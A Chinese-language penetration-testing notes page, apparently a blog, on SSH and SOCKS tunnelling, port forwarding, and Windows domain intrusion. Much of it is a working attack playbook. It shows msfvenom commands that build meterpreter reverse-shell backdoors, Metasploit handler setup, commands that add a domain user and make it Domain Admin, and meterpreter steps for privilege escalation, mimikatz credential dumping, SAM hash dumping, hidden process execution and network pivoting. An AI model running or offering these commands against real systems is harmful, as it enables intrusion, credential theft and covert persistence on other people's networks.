隧道技术SSH隧道

ssh 用于登录远程主机, 并且在远程主机上执行命令. 它的目的是替换 rlogin 和 rsh, 同时在不安全的网络之上, 两个互不 信任的主机之间, 提供加密的, 安全的通信连接. X11 连接和任意 TCP/IP 端口均可以通过此安全通道转发(forward).当用户通过 连接并登录主机 hostname 后, 根据所用的协议版本, 用户必须通过下述方法之一向远程主机证明他/她的身份:

参数

-a
禁止转发认证代理的连接.

-A
允许转发认证代理的连接. 可以在配置文件中对每个主机单独设定这个参数.
代理转发须谨慎. 某些用户能够在远程主机上绕过文件访问权限 (由于代理的 UNIX 域 socket), 他们可以通过转发的连接访问本地代理. 攻击者不可能从代理获得密钥内容, 但是他们能够操作这些密钥, 利用加载到代理上 的身份信息通过认证.

-b bind_address
在拥有多个接口或地址别名的机器上, 指定收发接口.

-c blowfish|3des|des
选择加密会话的密码术. 3des 是默认算法. 3des (triple-des) 用三支不同的密钥做加密-解密-加密三次运算, 被认为比较可靠. blowfish 是一种快速的分组加密术(block cipher), 非常安全, 而且速度比 3des 快的多. des 仅支持 客户端, 目的是能够和老式的不支持 3des 的协议第一版互操作. 由于其密码算法上的弱点, 强烈建议避免使用.

-c cipher_spec
另外, 对于协议第二版, 这里可以指定一组用逗号隔开, 按优先顺序排列的密码术. 详见 Ciphers

-e ch|^ch|none
设置 pty 会话的 escape 字符 (默认字符: ~' ) . escape 字符只在行首有效, escape 字符后面跟一个点 (.’ ) 表示结束连接, 跟一个 control-Z 表示挂起连接(suspend), 跟 escape 字符自己 表示输出这个字符. 把这个字符设为 ``none 则禁止 escape 功能, 使会话完全透明.

-f
要求 在执行命令前退至后台. 它用于当 准备询问口令或密语, 但是用户希望它在后台进行. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令.

-g
允许远端主机连接本地转发的端口.

-i identity_file
指定一个 RSA 或 DSA 认证所需的身份(私钥)文件. 默认文件是协议第一版的 $HOME/.ssh/identity 以及协议第二版的 $HOME/.ssh/id_rsa 和 $HOME/.ssh/id_dsa 文件. 也可以在配置文件中对每个主机单独指定身份文件. 可以同时使用多个 -i 选项 (也可以在配置文件中指定多个身份文件).

-I smartcard_device
指定智能卡(smartcard)设备. 参数是设备文件, 能够用它和智能卡通信, 智能卡里面存储了用户的 RSA 私钥.

-k
禁止转发 Kerberos 门票和 AFS 令牌. 可以在配置文件中对每个主机单独设定这个参数.

-l login_name
指定登录远程主机的用户. 可以在配置文件中对每个主机单独设定这个参数.

-m mac_spec
另外, 对于协议第二版, 这里可以指定一组用逗号隔开, 按优先顺序排列的 MAC(消息验证码)算法 (message authentication code). 详情以 MACs 为关键字查询.

-n
把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果 要求口令或密语, 这种方式就无法工作; 参见 -f 选项.)

-N
不执行远程命令. 用于转发端口. (仅限协议第二版)

-o option
可以在这里给出某些选项, 格式和配置文件中的格式一样. 它用来设置那些没有命令行开关的选项.

-p port
指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数.

-q
安静模式. 消除所有的警告和诊断信息.

-s
请求远程系统激活一个子系统. 子系统是 SSH2 协议的一个特性, 能够协助 其他应用程序(如 sftp)把SSH用做安全通路. 子系统通过远程命令指定.

-t
强制分配伪终端. 可以在远程机器上执行任何全屏幕(screen-based)程序, 所以非常有用, 例如菜单服务. 并联的 -t 选项强制分配终端, 即使 没有本地终端.

-T
禁止分配伪终端.

-v
冗详模式. 使 打印关于运行情况的调试信息. 在调试连接, 认证和配置问题时非常有用. 并联的 -v 选项能够增加冗详程度. 最多为三个.

-x
禁止 X11 转发.

-X
允许 X11 转发. 可以在配置文件中对每个主机单独设定这个参数.
应该谨慎使用 X11 转发. 如果用户在远程主机上能够绕过文件访问权限 (根据用户的X授权数据库), 他就可以通过转发的连接访问本地 X11 显示器. 攻击者可以据此采取行动, 如监视键盘输入等.

-C
要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项.

-F configfile
指定一个用户级配置文件. 如果在命令行上指定了配置文件, 系统级配置文件 (/etc/ssh/ssh_config ) 将被忽略. 默认的用户级配置文件是 $HOME/.ssh/config

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 ``动态的 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-1
强制 只使用协议第一版.

-2
强制 只使用协议第二版.

-4
强制 只使用 IPv4 地址.

-6
强制 只使用 IPv6 地址.

正向连接

啥叫正向连接?就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。
命令:

举例说明:
你的IP是192.168.1.2,你可以ssh到某台服务器8.8.8.8,8.8.8.8可以访问8.8.4.4,你内网里还有一台机器可以访问你。
如果你想让内网里的另外一台电脑访问8.8.4.4的80端口的http服务,那么可以执行:

1
ssh -L 192.168.1.2:8080:8.8.4.4:80 test@8.8.8.8

也就是说,ssh到8.8.8.8上,然后让8.8.8.8把8.8.4.4的80端口映射到本地的8080端口上,而且和本地192.168.1.2这个IP绑定。内网里的另外一台机器可以通过IE浏览器中输入http://192.168.1.2:8080查看8.8.4.4的网页。当然,如果是其他服务,比如ftp、ssh、远程桌面也是可以的。不过,VPN貌似是不行的,可能是因为GRE协议无法通过。

8.8.4.4:80的东西给8.8.8.8:8080,并且绑定到本地ip上,内网里另外一台主机可以访问主机ip来获取8.8.4.4:80里的内容

image-20210720170957991

在WEB服务器执行

1
ssh -CNfL 0.0.0.0:port:数据服务器ip:80 WEB服务器用户名@WEB服务器ip地址

攻击机器浏览器访问 http://192.168.0.144:7777

反向连接

啥叫反向连接?就是client连上server,然后把client能访问的机器地址和端口(也包括client自己)镜像到server的端口上。
反向连接用得可能更多一些。比如你的客户端在内网,在外网是无法直接访问到的,这时用反向连接打通一条隧道,就可以从外网通过这条隧道进来了。

1
ssh -R [服务器IP或省略]:[服务器端口]:[客户端侧能访问的IP]:[客户端侧能访问的IP的端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)]

举例说明:
你的IP是192.168.1.2,你可以ssh到外网某台服务器8.8.8.8,你内网里有一台机器192.168.1.3。
如果你想让外网所有的能访问8.8.8.8的IP都能访问192.168.1.3的http服务,那么可以执行:

1
ssh -R 8.8.8.8:8080:192.168.1.3:80 test@8.8.8.8

也就是说,ssh到8.8.8.8上,然后把本地局域网内192.168.1.3的80端口映射到8.8.8.8的8080端口上,这样外网任何一台可以访问8.8.8.8的机器都可以通过8080端口访问到内网192.168.1.3机器的80端口了。

把192.168.1.3:80的东西放到8.8.8.8:8080上,访问8.8.8.8:8080就是访问192.168.1.3:80

WEB服务器上把本地的2222端口转发到115这台机器上

1
ssh –qTfnN –R 2222:127.0.0.1:22  root@192.168.0.115

攻击机访问

1
ssh –p 2222 web@127.0.0.1

端口转发与端口映射

端口映射

端口映射:端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。比如,我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。并且,在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器能准确的将消息发送给外网请求用户的主机。在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全

使用Metasploit先生成一个后门

1
msfvenom  -p windows/meterpreter/reverse_tcp lhost=本地主机ip  lport=本地主机端口 -f exe >/var/www/html/ss.exe

使用Metasploit建立监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport xxxx
run

映射端口

1
portfwd add -L 本地ip -l 本地端口 -p 目标端口 -r 目标ip

Example:

1
portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128

把10.10.10.128:80里的东西弄到192.168.0.115:2020上来,可以直接访问192.168.0.155:2020来获取10.10.10.128:2020的东西

端口转发

端口转发:端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。比如,我们现在在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的NAT方式访问外网。假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机

端口转发

1
portfwd add -l 你本机的监听端口 -r 目标的ip地址 -p 3389

是把目标机的3389端口转发到本机的端口

Example:

1
2
portfwd add -l 5555 -p 3389 -r 192.168.0.149
rdesktop 127.0.0.1: 5555

把192.168.0.149:3389转发给本地5555端口,直接使用远程桌面连接连接本地5555端口就可以连接到目标机

端口转发和映射的区别

​ 端口转发:你给我了,我打开看看,发现这上面标志显示是要给张三,那么我就给张三去。如果标志是给李四,那我就再给李四去。

 端口映射:你放到我左手,我就直接给张三;你放到我右手,我就直接给李四。这中间我不管你放我手上的是什么东西。

 转发的重点在“转”上面。送快递的过来,把所有快递都交给门口保安,保安再根据每件快递上的收件人来分发。映射,就是在大门口给每个人装个柜子,送快递的直接按收件人名字,把快递放到对应的柜子里面

以上部分内容转自谢公子,原文链接:https://blog.csdn.net/qq_36119192/article/details/84539150

隧道技术-socket隧道

image-20210724085325540

本机通过web服务器访问数据服务器,要打开一个socket隧道

实际上是反向连接,web服务器连接到本地

sscoks工具下载地址:https://sourceforge.net/projects/ssocks/

首先需要把工具先进行编译,把压缩包下载下来

tar -zxvf xxx.tar.gz 然后进入到压缩出来的文件夹

./configure && make

在本机输入

1
./rcsocks -l 1088 -p 1080 -vv  

这里的1088是本地开放的要被连接的端口,1080是web服务器端发起连接的端口

等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道

在web服务器端输入

1
./rssocks  -vv -s   ip:port

这里的端口是本机的ip,port是开放的端口

然后利用proxychains进行Socks5代理

安装proxychains

1
apt-get install proxychains

修改/etc/proxychains.conf

1
把最后一行改成socks5  ip:port

跨路由扫描

image-20210724092854045

生成metasploit后门

1
msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.196  lport=12345 -f exe >/var/www/html/s.exe

kali监听

1
2
3
4
5
6
7
8
9
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.196

set lport 12345

exploit

查看当前用户

getuid

获取网卡信息

ifconfig

路由信息

1
run get_local_subnets

增加路由

1
2
3
run autoroute  -s 10.10.10.0/24

run autoroute –p

域渗透总结

看完了暗月的内网渗透部分,这里来做个总结吧

windows域的介绍

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , [Active Directory](https://baike.baidu.com/item/Active Directory)是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

常用的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ipconfig /all   查看当前网卡配置信息,包括所属的域和ip

net view /domain 查看域

net view 查看当前域中的计算机

net view /domain:XXX 查看XXX域中的计算机

ping user ping计算机名可以得到ip

net user /domain 获取所有域的用户列表

net group/domain 获取所有域的用户组信息

net group"domain admins" /domain 获取当前域管理员信息

net time /domain 查看域时间及域服务器名字

net user hack hack /add /domain 添加普通域用户

net group "Domain Admins" hack /add /domain 把普通域用户提升为域管理员

Metasploit部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxx -f exe >/var/www/html/s.exe    生成攻击载荷

本地监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST xxx.xxx.xxx.xxx
set LPORT xxx
run

获取到session后
getuid 当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限

增加路由
route add 10.10.1.3 255.255.255.0 2

获取明文
load mimikatz
msv
kerberos

利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389

execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程

文件系统命令
getwd 或者pwd # 查看当前工作目录
ls
cd
search -f *pass* # 搜索文件 -h查看帮助
cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查

路由
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由

Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问

获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限